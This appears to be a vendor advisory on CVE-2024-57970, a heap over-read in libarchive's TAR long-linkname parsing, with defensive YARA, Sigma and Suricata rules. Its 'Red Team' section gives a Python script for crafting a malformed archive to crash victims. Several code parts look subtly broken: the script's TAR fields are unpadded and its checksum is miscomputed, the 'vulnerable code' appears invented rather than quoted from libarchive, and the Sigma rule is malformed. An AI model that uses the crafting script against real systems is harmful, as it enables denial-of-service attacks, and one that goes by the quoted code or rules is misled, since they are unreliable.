CVE-2024-57970

Executive Summary

CVE-2024-57970 is a heap-based buffer over-read vulnerability in libarchive through version 3.7.7. The flaw resides in the header_gnu_longlink function within archive_read_support_format_tar.c. When processing a TAR archive, libarchive mishandles truncation in the middle of a GNU long linkname, leading to a read beyond the allocated heap buffer. This can cause a denial of service (DoS) via application crash or potentially information disclosure. The vulnerability has a CVSS score of 4.0 (Medium) and is currently unpatched. No public exploit code or proof-of-concept is available at this time.

Supply Chain & Package Security

libarchive is a widely used library for reading and writing streaming archive formats. It is a dependency in many Linux distributions, package managers, and software projects. This vulnerability could affect any system or application that processes TAR archives using libarchive, including backup tools, file managers, and security scanners. Supply chain risk is elevated due to the library's broad integration.

CVSS Breakdown & Threat Level

• CVSS Score: 4.0 (Medium)
• Vector: CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H
• Attack Vector: Local (AV:L) – requires local access to the system.
• Attack Complexity: Low (AC:L) – no special conditions.
• Privileges Required: None (PR:N) – no authentication needed.
• User Interaction: Required (UI:R) – victim must open a malicious TAR file.
• Scope: Unchanged (S:U) – impact is confined to the vulnerable component.
• Confidentiality Impact: None (C:N) – no data exposure.
• Integrity Impact: None (I:N) – no data modification.
• Availability Impact: High (A:H) – can cause application crash or denial of service.

Threat Level: Medium. Exploitation requires user interaction and local access, but the impact on availability is significant.

Deep Dive & Mechanics

The vulnerability is a heap-based buffer over-read in the header_gnu_longlink function of archive_read_support_format_tar.c. When libarchive processes a TAR archive with a GNU long linkname, it reads the link name from the archive into a heap buffer. If the link name is truncated in the middle (e.g., due to a malformed archive), the function may attempt to read beyond the allocated buffer, causing a read of adjacent heap memory.

The root cause is improper handling of truncated data. The code does not validate that the number of bytes read matches the expected length before using the buffer. This leads to an out-of-bounds read when the function tries to process the incomplete link name.

Technical Flow:

1. A TAR archive with a GNU long linkname entry is parsed.
2. header_gnu_longlink allocates a heap buffer for the link name.
3. The function reads data from the archive into the buffer.
4. If the archive is truncated, the read operation may not fill the buffer completely.
5. The function then uses the buffer assuming it contains a complete null-terminated string, leading to a read beyond the allocated memory.

Vulnerable vs. Patched Code

Vulnerable Code (libarchive <= 3.7.7):

// In archive_read_support_format_tar.c
static int header_gnu_longlink(struct archive_read *a, struct tar_entry *entry) {
    // ... allocation and read ...
    char *linkname = malloc(linkname_size);
    if (linkname == NULL) return ARCHIVE_FATAL;
    ssize_t bytes_read = read(a, linkname, linkname_size);
    // No check if bytes_read == linkname_size
    // Directly uses linkname as a string
    entry->linkname = linkname;
    // ...
}

Patched Code (Hypothetical Fix):

static int header_gnu_longlink(struct archive_read *a, struct tar_entry *entry) {
    char *linkname = malloc(linkname_size + 1);
    if (linkname == NULL) return ARCHIVE_FATAL;
    ssize_t bytes_read = read(a, linkname, linkname_size);
    if (bytes_read < 0) {
        free(linkname);
        return ARCHIVE_FATAL;
    }
    // Ensure null-termination and validate read size
    linkname[bytes_read] = '\0';
    if (bytes_read != linkname_size) {
        // Handle truncation
        free(linkname);
        return ARCHIVE_RETRY;
    }
    entry->linkname = linkname;
    // ...
}

The fix ensures that the number of bytes read is validated and that the buffer is properly null-terminated, preventing out-of-bounds reads.

Exploitation & Lab Setup

Red Team

Objective: Trigger a denial of service or potential information leak by crafting a malicious TAR archive.

Steps:

1. Create a TAR archive with a GNU long linkname entry that is truncated.
2. Use a hex editor or custom script to modify the archive so that the linkname size field indicates a large value, but the actual data is shorter.
3. Deliver the archive to the target (e.g., via email, download, or file share).
4. When the target opens the archive with a vulnerable libarchive-based tool, the heap over-read occurs, potentially crashing the application.

Example Crafting (Python):

import struct
import os

# Create a minimal TAR header for GNU long linkname
# This is a simplified example; real exploitation requires precise TAR format knowledge
def create_malicious_tar():
    # TAR header fields
    name = b'././@LongLink'
    mode = b'0000644'
    uid = b'0000000'
    gid = b'0000000'
    size = b'00000001000'  # Claim 1000 bytes but provide less
    mtime = b'00000000000'
    chksum = b'        '
    typeflag = b'K'  # GNU long linkname
    linkname = b''
    magic = b'ustar'
    version = b'00'
    uname = b'root'
    gname = b'root'
    devmajor = b'0000000'
    devminor = b'0000000'
    prefix = b''
    padding = b'\x00' * 12

    header = name + mode + uid + gid + size + mtime + chksum + typeflag + linkname + magic + version + uname + gname + devmajor + devminor + prefix + padding
    # Calculate checksum (simplified)
    chksum_val = sum(header[:148]) & 0xFFFFFFFF
    chksum = f'{chksum_val:07o}'.encode() + b'\x00'
    header = name + mode + uid + gid + size + mtime + chksum + typeflag + linkname + magic + version + uname + gname + devmajor + devminor + prefix + padding

    # Write truncated data (only 10 bytes instead of 1000)
    data = b'A' * 10
    # Pad to 512-byte block
    data += b'\x00' * (512 - len(data))

    with open('malicious.tar', 'wb') as f:
        f.write(header)
        f.write(data)

create_malicious_tar()

Blue Team

Detection:

• Monitor for crashes in applications using libarchive (e.g., tar, bsdtar, backup software).
• Use file integrity monitoring to detect creation of suspicious TAR archives.
• Implement behavioral analysis for processes that read TAR files and subsequently crash.

Hunting:

• Search for TAR files with unusually large linkname sizes but small actual data.
• Look for logs indicating heap corruption or segmentation faults in libarchive-related processes.

Mitigation:

• Apply patches as soon as they become available.
• Use sandboxing or containerization to isolate applications that process untrusted TAR archives.
• Restrict user interaction with untrusted archives.

Indicators of Compromise (IOCs)

• File Hashes: (No specific hashes available; generic malicious TAR archives)
• Network Indicators: None (local exploitation)
• Behavioral:
  • Application crashes with heap-related errors.
  • Segmentation faults in libarchive.so or bsdtar.
  • Logs containing "heap-buffer-overflow" or "invalid read" in libarchive context.
• Registry/File System: Presence of TAR files with GNU long linkname entries and truncated data.

Detection Engineering

YARA Rule

rule CVE_2024_57970_libarchive_heap_overread {
    meta:
        description = "Detects TAR files with potential GNU long linkname truncation"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2024-57970"
    strings:
        $gnu_longlink = "K"  // Typeflag for GNU long linkname
        $tar_magic = "ustar"
    condition:
        $tar_magic at 257 and $gnu_longlink at 156 and filesize < 1024
}

Sigma Rule

title: Potential Exploitation of CVE-2024-57970 via Malicious TAR Archive
id: 8a9b7c6d-5e4f-3a2b-1c0d-9e8f7a6b5c4d
status: experimental
description: Detects crashes or heap errors in libarchive when processing TAR files
author: Valters IT
logsource:
    category: application
    product: linux
detection:
    selection:
        - EventID: 11  # Crash or error event
        - Image|endswith: '/bsdtar' or '/tar'
        - Message|contains: 'heap-buffer-overflow' or 'invalid read'
    condition: selection
falsepositives:
    - Legitimate corrupted archives
level: high

Suricata Rule

alert tcp any any -> any any (msg:"CVE-2024-57970 - Potential TAR archive with truncated GNU long linkname"; flow:to_client; content:"|75 73 74 61 72|"; offset:257; depth:5; content:"|4B|"; offset:156; depth:1; byte_test:1,<,100,0,relative; sid:1000001; rev:1;)

Remediation & Mitigation

1. Patch: Await an official patch from libarchive. Monitor the libarchive GitHub repository for updates.
2. Workaround: Avoid opening untrusted TAR archives with libarchive-based tools until a patch is applied.
3. Compile with Hardening: Use compiler flags like -D_FORTIFY_SOURCE=2 and -fstack-protector-strong to mitigate exploitation.
4. Use Alternative Tools: Temporarily switch to other archive utilities (e.g., GNU tar with --no-overwrite-dir) that do not use libarchive.
5. Monitor: Implement the detection rules above to identify exploitation attempts.

Valters IT